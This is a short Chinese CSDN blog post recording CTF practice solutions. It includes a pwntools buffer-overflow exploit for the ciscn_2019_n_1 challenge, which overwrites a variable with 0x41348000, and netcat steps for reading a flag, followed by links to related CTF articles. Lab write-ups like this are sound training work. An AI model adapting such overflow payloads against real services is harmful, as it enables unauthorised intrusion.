ctf练习题记录

最新推荐文章于 2024-07-19 16:36:18 发布
最新推荐文章于 2024-07-19 16:36:18 发布
阅读量388 收藏 9
点赞数 8
文章标签： python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/w394959000/article/details/135883510
版权

ciscn_2019_n_1

按提示在Debian中检查为64位

ida64打开后进入func知道使v2等于11.28125

执行代码

from pwn import *

p = remote('node5.buuoj.cn:28261'）

p.sendline(flat([b'a'*(0x30-4) , 0x41348000]))

p.interactive()

得到flag

test_your_nc1

链接靶场后

ls列出文件

cat查看flag文件

llllIIIlllllI
关注
  • 8
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF是什么？一文带你读懂网络安全大赛
xx16755498979的博客
06-10 2552
现在的CTF比赛一般由专业队伍承担比赛平台、命题、赛事组织以及拥有自动化积分系统。参赛队伍需提交参赛申请，并且由DEF CON会议组织者们进行评选。比赛侧重于对计算机底层和系统安全的核心能力。
[CTF密码学]RSA相关题目解题方法与python脚本总结（附例题）
WANGJUNAIJIAO的博客
10-30 5442
RSA是一种非对称加密体制 ，所谓非对称就是加密钥和解密钥不一样，要解决加解密相关问题，我们首先要弄清楚RSA加密解密流程中用到了哪些东西：**明文 m：**就是待加密的文本啦，一般也就是我们的flag。**密文 C：**加密完成后的密文，一般题目会给你，我们要做的就是根据密文解密出明文。**公钥 e（加密钥）：**用来加密的密钥，是一个整数，是公开的。RSA加密的关键部分，一般不会告诉你。我们选取两个大素数并计算它们的乘积，得到n=p*q。**后面会用p,q,n来加密解密。
2024年网络安全最全CTF —— 网络安全大赛_ctf网络安全大赛(2)，2024网络安全高级面试题总结
2301_82056337的博客
05-06 989
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。结合了解题模式和攻防模式的CTF赛制，比如参赛队伍通过解题可以获取一些初始分数，然后通过攻防对抗进行得分增减的零和游戏，最终以得分高低分出胜负。⚔科技是一把双刃剑，网络安全不容忽视，人们的隐私在大数据面前暴露无遗，账户被盗、资金损失、网络诈骗、隐私泄露，种种迹象表明，随着互联网的发展，网络安全需要引起人们的重视。
杭电CTF 练习题RE WP
qq_42192672的博客
10-24 3798
密码 1. BAABAABBAAAAAAAABABBABABBBAABABAABBABBBAABBABAABAA 提示：答案是十个字母 直接培根密码解密 RE 1. Beat our dice game and get the flag 拖进IDA太乱了，但可以找到关键字符串，拖进OD查看 显然最后要达成的就是31337然后获得flag，规则是掷色子，试试看能不能爆破 一路单步执...
CTF web练习题
00勇士王子的博客
12-28 2295
CTF web每日一题 第一天：BUGKU Web13(2020.12.28) 打开题目环境 提示让看源码，于是直接F12查看源码： 发现一段js代码，里面p1和p2的值应该是url编码,用url解码试试： 得到一段代码。 var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b'; var p2 = 'aa648cf6e87a7
【SQL注入】CTF练习题WriteUp——“百度杯”CTF比赛 九月场SQL
Fighting_hawk的博客
05-17 3483
1. 本题关键在于关键字的绕过，需要耐心+细心，一个个尝试。 2. 同时在练习过程中多记录累积一些绕过的方法，比如这一道题的。
ctf web5 练习_CTF-攻防世界-WEB新手练习区 Writeup（12题入门题）
weixin_33603656的博客
01-15 3481
注：作者是CTF初学者，边学习边记录，如有错误或疏漏请批评指正，也请各位大佬多多包涵。攻防世界-WEB新手练习区 12题入门题 Writeup(注意：攻防世界WEB题每次生成场景后，有时flag会改变，因此flag不同不要在意，主要是学习解题思路和方法)0X01view_sourceX老师让小宁同学查看一个网页的源代码，但小宁同学发现鼠标右键好像不管用了。题目提示查看源码，鼠标右键不管用，用F12...
CTF练习-Web1简单登录
weixin_43992606的博客
06-25 1323
CTF初入门小白，记录做题过程。
【CTF】web新手练习12题
wxwxwxww的博客
10-01 1154
攻防世界web新手练习12题
CTF题目学习记录
NeverSay_GiveUp的博客
11-10 949
CTF题目学习记录 题目1 X老师让小宁同学查看一个网页的源代码，但小宁同学发现鼠标右键好像不管用了。 解题思路： view_source [原理] 浏览器开发者工具 [目的] 掌握查看源代码的方式 [环境] windows [工具（浏览器）] firefox（火狐）或chrome（谷歌） [步骤] 1.用firefox打开页面，摁下F12，打开查看器可以得到flag 2.或用chrome打开页面，摁下F12，在Elements栏可以得到flag 题目2 X老师上课讲了Robots协议，小宁同学却上课打了瞌
CTF-入门练习题
10-30
这个“CTF-入门练习题”很可能包含了一系列这样的挑战，旨在帮助初学者提升在网络安全领域的技能。 【网络攻防】 网络攻防是CTF中的核心部分，涉及攻击者与防御者的对抗。攻击者可能试图寻找系统漏洞，进行SQL注入...
CTF100题.docx
05-25
CTF是一种流行的信息安全竞赛形式，其英文名可直译为“夺得Flag”，也可意译为“夺旗赛”。其大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有一定格式的字符...
CTF题库超详细资源合集
06-14
在传统的CTF线上⽐赛中，Web类题⽬是主要的题型之⼀，相较于⼆进制、逆向等类型的题⽬，参赛者不需掌握系统底层知识；相较于密码学、杂项问题，不需具特别强的编程能⼒，故⼊门较为容易。Web类题⽬常见的漏洞类型...
Imaginary CTF 2022 真题
08-01
可能的挑战可能要求参赛者从一段损坏的硬盘数据中重建事件序列，或者从社交媒体记录中找出关键线索。 3. **Web安全（Web）**：Web安全挑战通常涉及到网站的漏洞挖掘和利用。参赛者需要熟悉HTTP协议、Web应用程序...
CTF-100题.-天天练习-学习
11-01
CTF-100题.-----------------天天练习------------------学习 100小题，试例练习
【Python如何将字符串连接在一起并使用`join()`方法】
最新发布
qq_36253366的博客
07-19 171
方法是字符串对象的方法，而不是列表或元组等序列类型的方法。因此，你需要先指定一个用作分隔符的字符串，然后调用这个字符串的。方法将字符串连接在一起，你需要首先确保这些字符串被存储在一个序列类型中（如列表或元组），然后调用这个序列的。方法是一个字符串方法，它用于将序列（如列表、元组等）中的元素以指定的字符连接生成一个新的字符串。列表中的所有字符串元素使用空格作为分隔符连接成一个新的字符串。方法，并将你想要作为分隔符的字符串作为参数传递给。方法，并将包含要连接字符串的序列作为参数传递。
华为od机试真题 — 代表团坐车(Python)
学习,你不是一个人在战斗 ～ 961302305（QQ,微信）
07-17 573
【华为od机试真题 】代表团坐车(Python) 某组织举行会议，来了多个代表团同时到达，接待处只有一辆汽车可以同时接待多个代表团，为了提高车辆利用率，请帮接待员计算可以坐满车的接待方案输出方案数量。
IPython 日志秘籍：%logstate 命令全解析
2401_85812026的博客
07-17 561
logstate命令是 IPython 日志系统的重要组成部分，它帮助我们掌控日志记录的状态。通过本文的介绍，你应该对如何在 IPython 中使用%logstate查看日志状态有了更深入的理解。记住，合理利用日志系统，可以让你的数据探索过程更加透明和可追溯。本文详细介绍了 IPython 的%logstate命令，包括其基本概念、基本用法、输出解析以及实战示例。希望本文能够帮助读者更好地利用 IPython 的日志系统，优化数据探索和科学计算的工作流。记住，掌握%logstate。
CTFsql注入练习题
07-29
回答: CTFsql注入练习题是一种用于训练和测试SQL注入技巧的题目。在这些题目中，参与者需要通过注入恶意的SQL代码来绕过应用程序的安全机制，从而获取敏感信息或者执行未授权的操作。这些题目通常包含了不同的注入...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值